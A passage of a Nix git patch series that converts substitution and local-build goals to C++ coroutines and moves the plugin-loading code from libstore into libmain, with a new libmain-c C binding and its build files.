Update the total expected download size. */ + auto narInfo = std::dynamic_pointer_cast(info); + + maintainExpectedNar = std::make_unique>(worker.expectedNarSize, info->narSize); + + maintainExpectedDownload = + narInfo && narInfo->fileSize + ? std::make_unique>(worker.expectedDownloadSize, narInfo->fileSize) + : nullptr; + + worker.updateProgress(); + + /* Bail out early if this substituter lacks a valid + signature. LocalStore::addToStore() also checks for this, but + only after we've downloaded the path. */ + if (!sub->isTrusted && worker.store.pathInfoIsUntrusted(*info)) + { + warn("ignoring substitute for '%s' from '%s', as it's not signed by any of the keys in 'trusted-public-keys'", + worker.store.printStorePath(storePath), sub->getUri()); + continue; + } + + /* To maintain the closure invariant, we first have to realise the + paths referenced by this one. */ + for (auto & i : info->references) + if (i != storePath) /* ignore self-references */ + addWaitee(worker.makePathSubstitutionGoal(i)); + + if (!waitees.empty()) co_await Suspend{}; + + // FIXME: consider returning boolean instead of passing in reference + bool out = false; // is mutated by tryToRun + co_await tryToRun(subPath ? *subPath : storePath, sub, info, out); + substituterFailed = substituterFailed || out; } - if (info->path != storePath) { - if (info->isContentAddressed(*sub) && info->references.empty()) { - auto info2 = std::make_shared(*info); - info2->path = storePath; - info = info2; - } else { - printError("asked '%s' for '%s' but got '%s'", - sub->getUri(), worker.store.printStorePath(storePath), sub->printStorePath(info->path)); - tryNext(); - return; - } - } - - /* Update the total expected download size. */ - auto narInfo = std::dynamic_pointer_cast(info); - - maintainExpectedNar = std::make_unique>(worker.expectedNarSize, info->narSize); - - maintainExpectedDownload = - narInfo && narInfo->fileSize - ? std::make_unique>(worker.expectedDownloadSize, narInfo->fileSize) - : nullptr; + /* None left. Terminate this goal and let someone else deal + with it. */ + worker.failedSubstitutions++; worker.updateProgress(); - /* Bail out early if this substituter lacks a valid - signature. LocalStore::addToStore() also checks for this, but - only after we've downloaded the path. */ - if (!sub->isTrusted && worker.store.pathInfoIsUntrusted(*info)) - { - warn("ignoring substitute for '%s' from '%s', as it's not signed by any of the keys in 'trusted-public-keys'", - worker.store.printStorePath(storePath), sub->getUri()); - tryNext(); - return; - } - - /* To maintain the closure invariant, we first have to realise the - paths referenced by this one. */ - for (auto & i : info->references) - if (i != storePath) /* ignore self-references */ - addWaitee(worker.makePathSubstitutionGoal(i)); - - if (waitees.empty()) /* to prevent hang (no wake-up event) */ - referencesValid(); - else - state = &PathSubstitutionGoal::referencesValid; + /* Hack: don't indicate failure if there were no substituters. + In that case the calling derivation should just do a + build. */ + co_return done( + substituterFailed ? ecFailed : ecNoSubstituters, + BuildResult::NoSubstituters, + fmt("path '%s' is required, but there is no substituter that can build it", worker.store.printStorePath(storePath))); } -void PathSubstitutionGoal::referencesValid() +Goal::Co PathSubstitutionGoal::tryToRun(StorePath subPath, nix::ref sub, std::shared_ptr info, bool& substituterFailed) { trace("all references realised"); if (nrFailed > 0) { - done( + co_return done( nrNoSubstituters > 0 || nrIncompleteClosure > 0 ? ecIncompleteClosure : ecFailed, BuildResult::DependencyFailed, fmt("some references of path '%s' could not be realised", worker.store.printStorePath(storePath))); - return; } for (auto & i : info->references) if (i != storePath) /* ignore self-references */ assert(worker.store.isValidPath(i)); - state = &PathSubstitutionGoal::tryToRun; worker.wakeUp(shared_from_this()); -} + co_await Suspend{}; - -void PathSubstitutionGoal::tryToRun() -{ trace("trying to run"); /* Make sure that we are allowed to start a substitution. Note that even @@ -206,10 +183,10 @@ void PathSubstitutionGoal::tryToRun() prevents infinite waiting. */ if (worker.getNrSubstitutions() >= std::max(1U, (unsigned int) settings.maxSubstitutionJobs)) { worker.waitForBuildSlot(shared_from_this()); - return; + co_await Suspend{}; } - maintainRunningSubstitutions = std::make_unique>(worker.runningSubstitutions); + auto maintainRunningSubstitutions = std::make_unique>(worker.runningSubstitutions); worker.updateProgress(); #ifndef _WIN32 @@ -218,9 +195,9 @@ void PathSubstitutionGoal::tryToRun() outPipe.createAsyncPipe(worker.ioport.get()); #endif - promise = std::promise(); + auto promise = std::promise(); - thr = std::thread([this]() { + thr = std::thread([this, &promise, &subPath, &sub]() { try { ReceiveInterrupts receiveInterrupts; @@ -231,7 +208,7 @@ void PathSubstitutionGoal::tryToRun() PushActivity pact(act.id); copyStorePath(*sub, worker.store, - subPath ? *subPath : storePath, repair, sub->isTrusted ? NoCheckSigs : CheckSigs); + subPath, repair, sub->isTrusted ? NoCheckSigs : CheckSigs); promise.set_value(); } catch (...) { @@ -247,12 +224,8 @@ void PathSubstitutionGoal::tryToRun() #endif }, true, false); - state = &PathSubstitutionGoal::finished; -} + co_await Suspend{}; - -void PathSubstitutionGoal::finished() -{ trace("substitute finished"); thr.join(); @@ -274,10 +247,7 @@ void PathSubstitutionGoal::finished() substituterFailed = true; } - /* Try the next substitute. */ - state = &PathSubstitutionGoal::tryNext; - worker.wakeUp(shared_from_this()); - return; + co_return Return{}; } worker.markContentsGood(storePath); @@ -295,23 +265,19 @@ void PathSubstitutionGoal::finished() worker.doneDownloadSize += fileSize; } + assert(maintainExpectedNar); worker.doneNarSize += maintainExpectedNar->delta; maintainExpectedNar.reset(); worker.updateProgress(); - done(ecSuccess, BuildResult::Substituted); -} - - -void PathSubstitutionGoal::handleChildOutput(Descriptor fd, std::string_view data) -{ + co_return done(ecSuccess, BuildResult::Substituted); } void PathSubstitutionGoal::handleEOF(Descriptor fd) { - if (fd == outPipe.readSide.get()) worker.wakeUp(shared_from_this()); + worker.wakeUp(shared_from_this()); } diff --git a/src/libstore/build/substitution-goal.hh b/src/libstore/build/substitution-goal.hh index 1a051fc1f..86e4f5423 100644 --- a/src/libstore/build/substitution-goal.hh +++ b/src/libstore/build/substitution-goal.hh @@ -1,14 +1,16 @@ #pragma once ///@file +#include "worker.hh" #include "store-api.hh" #include "goal.hh" #include "muxable-pipe.hh" +#include +#include +#include namespace nix { -class Worker; - struct PathSubstitutionGoal : public Goal { /** @@ -17,30 +19,9 @@ struct PathSubstitutionGoal : public Goal StorePath storePath; /** - * The path the substituter refers to the path as. This will be - * different when the stores have different names. + * Whether to try to repair a valid path. */ - std::optional subPath; - - /** - * The remaining substituters. - */ - std::list> subs; - - /** - * The current substituter. - */ - std::shared_ptr sub; - - /** - * Whether a substituter failed. - */ - bool substituterFailed = false; - - /** - * Path info returned by the substituter's query info operation. - */ - std::shared_ptr info; + RepairFlag repair; /** * Pipe for the substituter's standard output. @@ -52,31 +33,15 @@ struct PathSubstitutionGoal : public Goal */ std::thread thr; - std::promise promise; - - /** - * Whether to try to repair a valid path. - */ - RepairFlag repair; - - /** - * Location where we're downloading the substitute. Differs from - * storePath when doing a repair. - */ - Path destPath; - std::unique_ptr> maintainExpectedSubstitutions, maintainRunningSubstitutions, maintainExpectedNar, maintainExpectedDownload; - typedef void (PathSubstitutionGoal::*GoalState)(); - GoalState state; - /** * Content address for recomputing store path */ std::optional ca; - void done( + Done done( ExitCode result, BuildResult::Status status, std::optional errorMsg = {}); @@ -96,22 +61,18 @@ public: return "a$" + std::string(storePath.name()) + "$" + worker.store.printStorePath(storePath); } - void work() override; - /** * The states. */ - void init(); - void tryNext(); - void gotInfo(); - void referencesValid(); - void tryToRun(); - void finished(); + Co init() override; + Co gotInfo(); + Co tryToRun(StorePath subPath, nix::ref sub, std::shared_ptr info, bool& substituterFailed); + Co finished(); /** * Callback used by the worker to write to the log. */ - void handleChildOutput(Descriptor fd, std::string_view data) override; + void handleChildOutput(Descriptor fd, std::string_view data) override {}; void handleEOF(Descriptor fd) override; /* Called by destructor, can't be overridden */ diff --git a/src/libstore/build/worker.cc b/src/libstore/build/worker.cc index 8a5d6de72..7fc41b121 100644 --- a/src/libstore/build/worker.cc +++ b/src/libstore/build/worker.cc @@ -337,31 +337,27 @@ void Worker::run(const Goals & _topGoals) /* Wait for input. */ if (!children.empty() || !waitingForAWhile.empty()) waitForInput(); - else { - if (awake.empty() && 0U == settings.maxBuildJobs) - { - if (getMachines().empty()) - throw Error( - R"( - Unable to start any build; - either increase '--max-jobs' or enable remote builds. + else if (awake.empty() && 0U == settings.maxBuildJobs) { + if (getMachines().empty()) + throw Error( + R"( + Unable to start any build; + either increase '--max-jobs' or enable remote builds. - For more information run 'man nix.conf' and search for '/machines'. - )" - ); - else - throw Error( - R"( - Unable to start any build; - remote machines may not have all required system features. + For more information run 'man nix.conf' and search for '/machines'. + )" + ); + else + throw Error( + R"( + Unable to start any build; + remote machines may not have all required system features. - For more information run 'man nix.conf' and search for '/machines'. - )" - ); + For more information run 'man nix.conf' and search for '/machines'. + )" + ); - } - assert(!awake.empty()); - } + } else assert(!awake.empty()); } /* If --keep-going is not set, it's possible that the main goal diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc index c3a65e34b..f968bbc5b 100644 --- a/src/libstore/unix/build/local-derivation-goal.cc +++ b/src/libstore/unix/build/local-derivation-goal.cc @@ -177,7 +177,7 @@ void LocalDerivationGoal::killSandbox(bool getStats) } -void LocalDerivationGoal::tryLocalBuild() +Goal::Co LocalDerivationGoal::tryLocalBuild() { #if __APPLE__ additionalSandboxProfile = parsedDrv->getStringAttr("__sandboxProfile").value_or(""); @@ -185,10 +185,10 @@ void LocalDerivationGoal::tryLocalBuild() unsigned int curBuilds = worker.getNrLocalBuilds(); if (curBuilds >= settings.maxBuildJobs) { - state = &DerivationGoal::tryToBuild; worker.waitForBuildSlot(shared_from_this()); outputLocks.unlock(); - return; + co_await Suspend{}; + co_return tryToBuild(); } assert(derivationType); @@ -242,7 +242,8 @@ void LocalDerivationGoal::tryLocalBuild() actLock = std::make_unique(*logger, lvlWarn, actBuildWaiting, fmt("waiting for a free build user ID for '%s'", Magenta(worker.store.printStorePath(drvPath)))); worker.waitForAWhile(shared_from_this()); - return; + co_await Suspend{}; + co_return tryLocalBuild(); } } @@ -257,15 +258,13 @@ void LocalDerivationGoal::tryLocalBuild() outputLocks.unlock(); buildUser.reset(); worker.permanentFailure = true; - done(BuildResult::InputRejected, {}, std::move(e)); - return; + co_return done(BuildResult::InputRejected, {}, std::move(e)); } - /* This state will be reached when we get EOF on the child's - log pipe. */ - state = &DerivationGoal::buildDone; - started(); + co_await Suspend{}; + // after EOF on child + co_return buildDone(); } static void chmod_(const Path & path, mode_t mode) diff --git a/src/libstore/unix/build/local-derivation-goal.hh b/src/libstore/unix/build/local-derivation-goal.hh index 4bcf5c9d4..bf25cf2a6 100644 --- a/src/libstore/unix/build/local-derivation-goal.hh +++ b/src/libstore/unix/build/local-derivation-goal.hh @@ -198,7 +198,7 @@ struct LocalDerivationGoal : public DerivationGoal /** * The additional states. */ - void tryLocalBuild() override; + Goal::Co tryLocalBuild() override; /** * Start building a derivation. From 1a273a623f4ecaabafe56cba50d014ceb2beb4a3 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Tue, 2 Jul 2024 15:00:39 -0400 Subject: [PATCH 1105/1251] Inline `settings.pluginFiles.name` In theory the warning is more noisy now, but in practice this will not happen unless the client is older than 2.14 (highly unlikely). --- src/libstore/daemon.cc | 7 +++---- src/libstore/remote-store.cc | 2 +- 2 files changed, 4 insertions(+), 5 deletions(-) diff --git a/src/libstore/daemon.cc b/src/libstore/daemon.cc index 40163a621..5c5080f8a 100644 --- a/src/libstore/daemon.cc +++ b/src/libstore/daemon.cc @@ -246,10 +246,9 @@ struct ClientSettings // the daemon, as that could cause some pretty weird stuff if (parseFeatures(tokenizeString(value)) != experimentalFeatureSettings.experimentalFeatures.get()) debug("Ignoring the client-specified experimental features"); - } else if (name == settings.pluginFiles.name) { - if (tokenizeString(value) != settings.pluginFiles.get()) - warn("Ignoring the client-specified plugin-files.\n" - "The client specifying plugins to the daemon never made sense, and was removed in Nix >=2.14."); + } else if (name == "plugin-files") { + warn("Ignoring the client-specified plugin-files.\n" + "The client specifying plugins to the daemon never made sense, and was removed in Nix >=2.14."); } else if (trusted || name == settings.buildTimeout.name diff --git a/src/libstore/remote-store.cc b/src/libstore/remote-store.cc index d749ccd0a..6e8931ca2 100644 --- a/src/libstore/remote-store.cc +++ b/src/libstore/remote-store.cc @@ -128,7 +128,7 @@ void RemoteStore::setOptions(Connection & conn) overrides.erase(settings.useSubstitutes.name); overrides.erase(loggerSettings.showTrace.name); overrides.erase(experimentalFeatureSettings.experimentalFeatures.name); - overrides.erase(settings.pluginFiles.name); + overrides.erase("plugin-files"); conn.to << overrides.size(); for (auto & i : overrides) conn.to << i.first << i.second.value; From 0feeab755a19acd426cdae6887019f9886b016b4 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Tue, 2 Jul 2024 15:15:17 -0400 Subject: [PATCH 1106/1251] Move plugins infra to `libnixmain` They are not actually part of the store layer, but instead part of the Nix executable infra (libraries don't need plugins, executables do). This is part of a larger project of moving all of our legacy settings infra to libmain, and having the underlying libraries just have plain configuration structs detached from any settings infra / UI layer. Progress on #5638 --- meson.build | 1 + packaging/components.nix | 1 + packaging/hydra.nix | 1 + src/build-remote/build-remote.cc | 1 + src/libmain-c/.version | 1 + src/libmain-c/build-utils-meson | 1 + src/libmain-c/meson.build | 84 ++++++++++++++++++++++ src/libmain-c/nix_api_main.cc | 16 +++++ src/libmain-c/nix_api_main.h | 40 +++++++++++ src/libmain-c/package.nix | 83 ++++++++++++++++++++++ src/libmain/common-args.cc | 1 + src/libmain/meson.build | 2 + src/libmain/plugin.cc | 117 +++++++++++++++++++++++++++++++ src/libmain/plugin.hh | 12 ++++ src/libstore-c/nix_api_store.cc | 10 --- src/libstore-c/nix_api_store.h | 11 --- src/libstore/globals.cc | 55 --------------- src/libstore/globals.hh | 50 ------------- 18 files changed, 361 insertions(+), 126 deletions(-) create mode 120000 src/libmain-c/.version create mode 120000 src/libmain-c/build-utils-meson create mode 100644 src/libmain-c/meson.build create mode 100644 src/libmain-c/nix_api_main.cc create mode 100644 src/libmain-c/nix_api_main.h create mode 100644 src/libmain-c/package.nix create mode 100644 src/libmain/plugin.cc create mode 100644 src/libmain/plugin.hh diff --git a/meson.build b/meson.build index e6bdc2eac..1c46c5c28 100644 --- a/meson.build +++ b/meson.build @@ -26,6 +26,7 @@ subproject('external-api-docs') subproject('libutil-c') subproject('libstore-c') subproject('libexpr-c') +subproject('libmain-c') # Language Bindings subproject('perl') diff --git a/packaging/components.nix b/packaging/components.nix index 0e369a055..870e9ae61 100644 --- a/packaging/components.nix +++ b/packaging/components.nix @@ -29,6 +29,7 @@ in nix-flake-tests = callPackage ../tests/unit/libflake/package.nix { }; nix-main = callPackage ../src/libmain/package.nix { }; + nix-main-c = callPackage ../src/libmain-c/package.nix { }; nix-cmd = callPackage ../src/libcmd/package.nix { }; diff --git a/packaging/hydra.nix b/packaging/hydra.nix index 4dfaf9bbf..dbe992476 100644 --- a/packaging/hydra.nix +++ b/packaging/hydra.nix @@ -52,6 +52,7 @@ let "nix-flake" "nix-flake-tests" "nix-main" + "nix-main-c" "nix-cmd" "nix-ng" ]; diff --git a/src/build-remote/build-remote.cc b/src/build-remote/build-remote.cc index 600fc7ee2..a0a404e57 100644 --- a/src/build-remote/build-remote.cc +++ b/src/build-remote/build-remote.cc @@ -11,6 +11,7 @@ #include "machines.hh" #include "shared.hh" +#include "plugin.hh" #include "pathlocks.hh" #include "globals.hh" #include "serialise.hh" diff --git a/src/libmain-c/.version b/src/libmain-c/.version new file mode 120000 index 000000000..b7badcd0c --- /dev/null +++ b/src/libmain-c/.version @@ -0,0 +1 @@ +../../.version \ No newline at end of file diff --git a/src/libmain-c/build-utils-meson b/src/libmain-c/build-utils-meson new file mode 120000 index 000000000..5fff21bab --- /dev/null +++ b/src/libmain-c/build-utils-meson @@ -0,0 +1 @@ +../../build-utils-meson \ No newline at end of file diff --git a/src/libmain-c/meson.build b/src/libmain-c/meson.build new file mode 100644 index 000000000..1d6b2f959 --- /dev/null +++ b/src/libmain-c/meson.build @@ -0,0 +1,84 @@ +project('nix-main-c', 'cpp', + version : files('.version'), + default_options : [ + 'cpp_std=c++2a', + # TODO(Qyriad): increase the warning level + 'warning_level=1', + 'debug=true', + 'optimization=2', + 'errorlogs=true', # Please print logs for tests that fail + ], + meson_version : '>= 1.1', + license : 'LGPL-2.1-or-later', +) + +cxx = meson.get_compiler('cpp') + +subdir('build-utils-meson/deps-lists') + +configdata = configuration_data() + +deps_private_maybe_subproject = [ + dependency('nix-util'), + dependency('nix-store'), + dependency('nix-main'), +] +deps_public_maybe_subproject = [ + dependency('nix-util-c'), + dependency('nix-store-c'), +] +subdir('build-utils-meson/subprojects') + +# TODO rename, because it will conflict with downstream projects +configdata.set_quoted('PACKAGE_VERSION', meson.project_version()) + +config_h = configure_file( + configuration : configdata, + output : 'config-main.h', +) + +add_project_arguments( + # TODO(Qyriad): Yes this is how the autoconf+Make system did it. + # It would be nice for our headers to be idempotent instead. + + # From C++ libraries, only for internals + '-include', 'config-util.hh', + '-include', 'config-store.hh', + '-include', 'config-main.hh', + + # From C libraries, for our public, installed headers too + '-include', 'config-util.h', + '-include', 'config-store.h', + '-include', 'config-main.h', + language : 'cpp', +) + +subdir('build-utils-meson/diagnostics') + +sources = files( + 'nix_api_main.cc', +) + +include_dirs = [include_directories('.')] + +headers = [config_h] + files( + 'nix_api_main.h', +) + +subdir('build-utils-meson/export-all-symbols') + +this_library = library( + 'nixmainc', + sources, + dependencies : deps_public + deps_private + deps_other, + include_directories : include_dirs, + link_args: linker_export_flags, + prelink : true, # For C++ static initializers + install : true, +) + +install_headers(headers, subdir : 'nix', preserve_path : true) + +libraries_private = [] + +subdir('build-utils-meson/export') diff --git a/src/libmain-c/nix_api_main.cc b/src/libmain-c/nix_api_main.cc new file mode 100644 index 000000000..692d53f47 --- /dev/null +++ b/src/libmain-c/nix_api_main.cc @@ -0,0 +1,16 @@ +#include "nix_api_store.h" +#include "nix_api_store_internal.h" +#include "nix_api_util.h" +#include "nix_api_util_internal.h" + +#include "plugin.hh" + +nix_err nix_init_plugins(nix_c_context * context) +{ + if (context) + context->last_err_code = NIX_OK; + try { + nix::initPlugins(); + } + NIXC_CATCH_ERRS +} diff --git a/src/libmain-c/nix_api_main.h b/src/libmain-c/nix_api_main.h new file mode 100644 index 000000000..3957b992f --- /dev/null +++ b/src/libmain-c/nix_api_main.h @@ -0,0 +1,40 @@ +#ifndef NIX_API_MAIN_H +#define NIX_API_MAIN_H +/** + * @defgroup libmain libmain + * @brief C bindings for nix libmain + * + * libmain has misc utilities for CLI commands + * @{ + */ +/** @file + * @brief Main entry for the libmain C bindings + */ + +#include "nix_api_util.h" +#include + +#ifdef __cplusplus +extern "C" { +#endif +// cffi start + +/** + * @brief Loads the plugins specified in Nix's plugin-files setting. + * + * Call this once, after calling your desired init functions and setting + * relevant settings. + * + * @param[out] context Optional, stores error information + * @return NIX_OK if the initialization was successful, an error code otherwise. + */ +nix_err nix_init_plugins(nix_c_context * context); + +// cffi end +#ifdef __cplusplus +} +#endif +/** + * @} + */ +#endif // NIX_API_MAIN_H diff --git a/src/libmain-c/package.nix b/src/libmain-c/package.nix new file mode 100644 index 000000000..478e34a85 --- /dev/null +++ b/src/libmain-c/package.nix @@ -0,0 +1,83 @@ +{ lib +, stdenv +, mkMesonDerivation +, releaseTools + +, meson +, ninja +, pkg-config + +, nix-util-c +, nix-store +, nix-store-c +, nix-main + +# Configuration Options + +, version +}: + +let + inherit (lib) fileset; +in + +mkMesonDerivation (finalAttrs: { + pname = "nix-main-c"; + inherit version; + + workDir = ./.; + fileset = fileset.unions [ + ../../build-utils-meson + ./build-utils-meson + ../../.version + ./.version + ./meson.build + # ./meson.options + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + (fileset.fileFilter (file: file.hasExt "h") ./.) + ]; + + outputs = [ "out" "dev" ]; + + nativeBuildInputs = [ + meson + ninja + pkg-config + ]; + + propagatedBuildInputs = [ + nix-util-c + nix-store + nix-store-c + nix-main + ]; + + preConfigure = + # "Inline" .version so it's not a symlink, and includes the suffix. + # Do the meson utils, without modification. + '' + chmod u+w ./.version + echo ${version} > ../../.version + ''; + + mesonFlags = [ + ]; + + env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) { + LDFLAGS = "-fuse-ld=gold"; + }; + + enableParallelBuilding = true; + + separateDebugInfo = !stdenv.hostPlatform.isStatic; + + strictDeps = true; + + hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; + + meta = { + platforms = lib.platforms.unix ++ lib.platforms.windows; + }; + +}) diff --git a/src/libmain/common-args.cc b/src/libmain/common-args.cc index a94845ab8..768b2177c 100644 --- a/src/libmain/common-args.cc +++ b/src/libmain/common-args.cc @@ -5,6 +5,7 @@ #include "logging.hh" #include "loggers.hh" #include "util.hh" +#include "plugin.hh" namespace nix { diff --git a/src/libmain/meson.build b/src/libmain/meson.build index 859ce22f8..fe6133596 100644 --- a/src/libmain/meson.build +++ b/src/libmain/meson.build @@ -64,6 +64,7 @@ subdir('build-utils-meson/diagnostics') sources = files( 'common-args.cc', 'loggers.cc', + 'plugin.cc', 'progress-bar.cc', 'shared.cc', ) @@ -79,6 +80,7 @@ include_dirs = [include_directories('.')] headers = [config_h] + files( 'common-args.hh', 'loggers.hh', + 'plugin.hh', 'progress-bar.hh', 'shared.hh', ) diff --git a/src/libmain/plugin.cc b/src/libmain/plugin.cc new file mode 100644 index 000000000..52b5b60e4 --- /dev/null +++ b/src/libmain/plugin.cc @@ -0,0 +1,117 @@ +#ifndef _WIN32 +# include +#endif + +#include "config-global.hh" +#include "signals.hh" + +namespace nix { + +struct PluginFilesSetting : public BaseSetting +{ + bool pluginsLoaded = false; + + PluginFilesSetting( + Config * options, + const Paths & def, + const std::string & name, + const std::string & description, + const std::set & aliases = {}) + : BaseSetting(def, true, name, description, aliases) + { + options->addSetting(this); + } + + Paths parse(const std::string & str) const override; +}; + +Paths PluginFilesSetting::parse(const std::string & str) const +{ + if (pluginsLoaded) + throw UsageError( + "plugin-files set after plugins were loaded, you may need to move the flag before the subcommand"); + return BaseSetting::parse(str); +} + +struct PluginSettings : Config +{ + PluginFilesSetting pluginFiles{ + this, + {}, + "plugin-files", + R"( + A list of plugin files to be loaded by Nix. Each of these files will + be dlopened by Nix. If they contain the symbol `nix_plugin_entry()`, + this symbol will be called. Alternatively, they can affect execution + through static initialization. In particular, these plugins may construct + static instances of RegisterPrimOp to add new primops or constants to the + expression language, RegisterStoreImplementation to add new store + implementations, RegisterCommand to add new subcommands to the `nix` + command, and RegisterSetting to add new nix config settings. See the + constructors for those types for more details. + + Warning! These APIs are inherently unstable and may change from + release to release. + + Since these files are loaded into the same address space as Nix + itself, they must be DSOs compatible with the instance of Nix + running at the time (i.e. compiled against the same headers, not + linked to any incompatible libraries). They should not be linked to + any Nix libs directly, as those will be available already at load + time. + + If an entry in the list is a directory, all files in the directory + are loaded as plugins (non-recursively). + )"}; +}; + +static PluginSettings pluginSettings; + +static GlobalConfig::Register rPluginSettings(&pluginSettings); + +void initPlugins() +{ + assert(!pluginSettings.pluginFiles.pluginsLoaded); + for (const auto & pluginFile : pluginSettings.pluginFiles.get()) { + std::vector pluginFiles; + try { + auto ents = std::filesystem::directory_iterator{pluginFile}; + for (const auto & ent : ents) { + checkInterrupt(); + pluginFiles.emplace_back(ent.path()); + } + } catch (std::filesystem::filesystem_error & e) { + if (e.code() != std::errc::not_a_directory) + throw; + pluginFiles.emplace_back(pluginFile); + } + for (const auto & file : pluginFiles) { + checkInterrupt(); + /* handle is purposefully leaked as there may be state in the + DSO needed by the action of the plugin. */ +#ifndef _WIN32 // TODO implement via DLL loading on Windows + void * handle = dlopen(file.c_str(), RTLD_LAZY | RTLD_LOCAL); + if (!handle) + throw Error("could not dynamically open plugin file '%s': %s", file, dlerror()); + + /* Older plugins use a statically initialized object to run their code. + Newer plugins can also export nix_plugin_entry() */ + void (*nix_plugin_entry)() = (void (*)()) dlsym(handle, "nix_plugin_entry"); + if (nix_plugin_entry) + nix_plugin_entry(); +#else + throw Error("could not dynamically open plugin file '%s'", file); +#endif + } + } + + /* Since plugins can add settings, try to re-apply previously + unknown settings. */ + globalConfig.reapplyUnknownSettings(); + globalConfig.warnUnknownSettings(); + + /* Tell the user if they try to set plugin-files after we've already loaded */ + pluginSettings.pluginFiles.pluginsLoaded = true; +} + +} diff --git a/src/libmain/plugin.hh b/src/libmain/plugin.hh new file mode 100644 index 000000000..4221c1b17 --- /dev/null +++ b/src/libmain/plugin.hh @@ -0,0 +1,12 @@ +#pragma once +///@file + +namespace nix { + +/** + * This should be called after settings are initialized, but before + * anything else + */ +void initPlugins(); + +} diff --git a/src/libstore-c/nix_api_store.cc b/src/libstore-c/nix_api_store.cc index 4fe25c7d4..79841ca49 100644 --- a/src/libstore-c/nix_api_store.cc +++ b/src/libstore-c/nix_api_store.cc @@ -29,16 +29,6 @@ nix_err nix_libstore_init_no_load_config(nix_c_context * context) NIXC_CATCH_ERRS } -nix_err nix_init_plugins(nix_c_context * context) -{ - if (context) - context->last_err_code = NIX_OK; - try { - nix::initPlugins(); - } - NIXC_CATCH_ERRS -} - Store * nix_store_open(nix_c_context * context, const char * uri, const char *** params) { if (context) diff --git a/src/libstore-c/nix_api_store.h b/src/libstore-c/nix_api_store.h index d3cb8fab8..4b2134457 100644 --- a/src/libstore-c/nix_api_store.h +++ b/src/libstore-c/nix_api_store.h @@ -42,17 +42,6 @@ nix_err nix_libstore_init(nix_c_context * context); */ nix_err nix_libstore_init_no_load_config(nix_c_context * context); -/** - * @brief Loads the plugins specified in Nix's plugin-files setting. - * - * Call this once, after calling your desired init functions and setting - * relevant settings. - * - * @param[out] context Optional, stores error information - * @return NIX_OK if the initialization was successful, an error code otherwise. - */ -nix_err nix_init_plugins(nix_c_context * context); - /** * @brief Open a nix store. * diff --git a/src/libstore/globals.cc b/src/libstore/globals.cc index 4eabf6054..fa4c0ba7f 100644 --- a/src/libstore/globals.cc +++ b/src/libstore/globals.cc @@ -15,7 +15,6 @@ #include #ifndef _WIN32 -# include # include #endif @@ -335,60 +334,6 @@ unsigned int MaxBuildJobsSetting::parse(const std::string & str) const } -Paths PluginFilesSetting::parse(const std::string & str) const -{ - if (pluginsLoaded) - throw UsageError("plugin-files set after plugins were loaded, you may need to move the flag before the subcommand"); - return BaseSetting::parse(str); -} - - -void initPlugins() -{ - assert(!settings.pluginFiles.pluginsLoaded); - for (const auto & pluginFile : settings.pluginFiles.get()) { - std::vector pluginFiles; - try { - auto ents = std::filesystem::directory_iterator{pluginFile}; - for (const auto & ent : ents) { - checkInterrupt(); - pluginFiles.emplace_back(ent.path()); - } - } catch (std::filesystem::filesystem_error & e) { - if (e.code() != std::errc::not_a_directory) - throw; - pluginFiles.emplace_back(pluginFile); - } - for (const auto & file : pluginFiles) { - checkInterrupt(); - /* handle is purposefully leaked as there may be state in the - DSO needed by the action of the plugin. */ -#ifndef _WIN32 // TODO implement via DLL loading on Windows - void *handle = - dlopen(file.c_str(), RTLD_LAZY | RTLD_LOCAL); - if (!handle) - throw Error("could not dynamically open plugin file '%s': %s", file, dlerror()); - - /* Older plugins use a statically initialized object to run their code. - Newer plugins can also export nix_plugin_entry() */ - void (*nix_plugin_entry)() = (void (*)())dlsym(handle, "nix_plugin_entry"); - if (nix_plugin_entry) - nix_plugin_entry(); -#else - throw Error("could not dynamically open plugin file '%s'", file); -#endif - } - } - - /* Since plugins can add settings, try to re-apply previously - unknown settings. */ - globalConfig.reapplyUnknownSettings(); - globalConfig.warnUnknownSettings(); - - /* Tell the user if they try to set plugin-files after we've already loaded */ - settings.pluginFiles.pluginsLoaded = true; -} - static void preloadNSS() { /* builtin:fetchurl can trigger a DNS lookup, which with glibc can trigger a dynamic library load of diff --git a/src/libstore/globals.hh b/src/libstore/globals.hh index dfe25f317..30d7537bd 100644 --- a/src/libstore/globals.hh +++ b/src/libstore/globals.hh @@ -31,23 +31,6 @@ struct MaxBuildJobsSetting : public BaseSetting unsigned int parse(const std::string & str) const override; }; -struct PluginFilesSetting : public BaseSetting -{ - bool pluginsLoaded = false; - - PluginFilesSetting(Config * options, - const Paths & def, - const std::string & name, - const std::string & description, - const std::set & aliases = {}) - : BaseSetting(def, true, name, description, aliases) - { - options->addSetting(this); - } - - Paths parse(const std::string & str) const override; -}; - const uint32_t maxIdsPerBuild = #if __linux__ 1 << 16 @@ -1158,33 +1141,6 @@ public: Setting minFreeCheckInterval{this, 5, "min-free-check-interval", "Number of seconds between checking free disk space."}; - PluginFilesSetting pluginFiles{ - this, {}, "plugin-files", - R"( - A list of plugin files to be loaded by Nix. Each of these files will - be dlopened by Nix. If they contain the symbol `nix_plugin_entry()`, - this symbol will be called. Alternatively, they can affect execution - through static initialization. In particular, these plugins may construct - static instances of RegisterPrimOp to add new primops or constants to the - expression language, RegisterStoreImplementation to add new store - implementations, RegisterCommand to add new subcommands to the `nix` - command, and RegisterSetting to add new nix config settings. See the - constructors for those types for more details. - - Warning! These APIs are inherently unstable and may change from - release to release. - - Since these files are loaded into the same address space as Nix - itself, they must be DSOs compatible with the instance of Nix - running at the time (i.e. compiled against the same headers, not - linked to any incompatible libraries). They should not be linked to - any Nix libs directly, as those will be available already at load - time. - - If an entry in the list is a directory, all files in the directory - are loaded as plugins (non-recursively). - )"}; - Setting narBufferSize{this, 32 * 1024 * 1024, "nar-buffer-size", "Maximum size of NARs before spilling them to disk."}; @@ -1278,12 +1234,6 @@ public: // FIXME: don't use a global variable. extern Settings settings; -/** - * This should be called after settings are initialized, but before - * anything else - */ -void initPlugins(); - /** * Load the configuration (from `nix.conf`, `NIX_CONFIG`, etc.) into the * given configuration object. From 808082ea031126ac8738897c43f26240875c02a8 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 15 Jul 2024 13:13:11 -0400 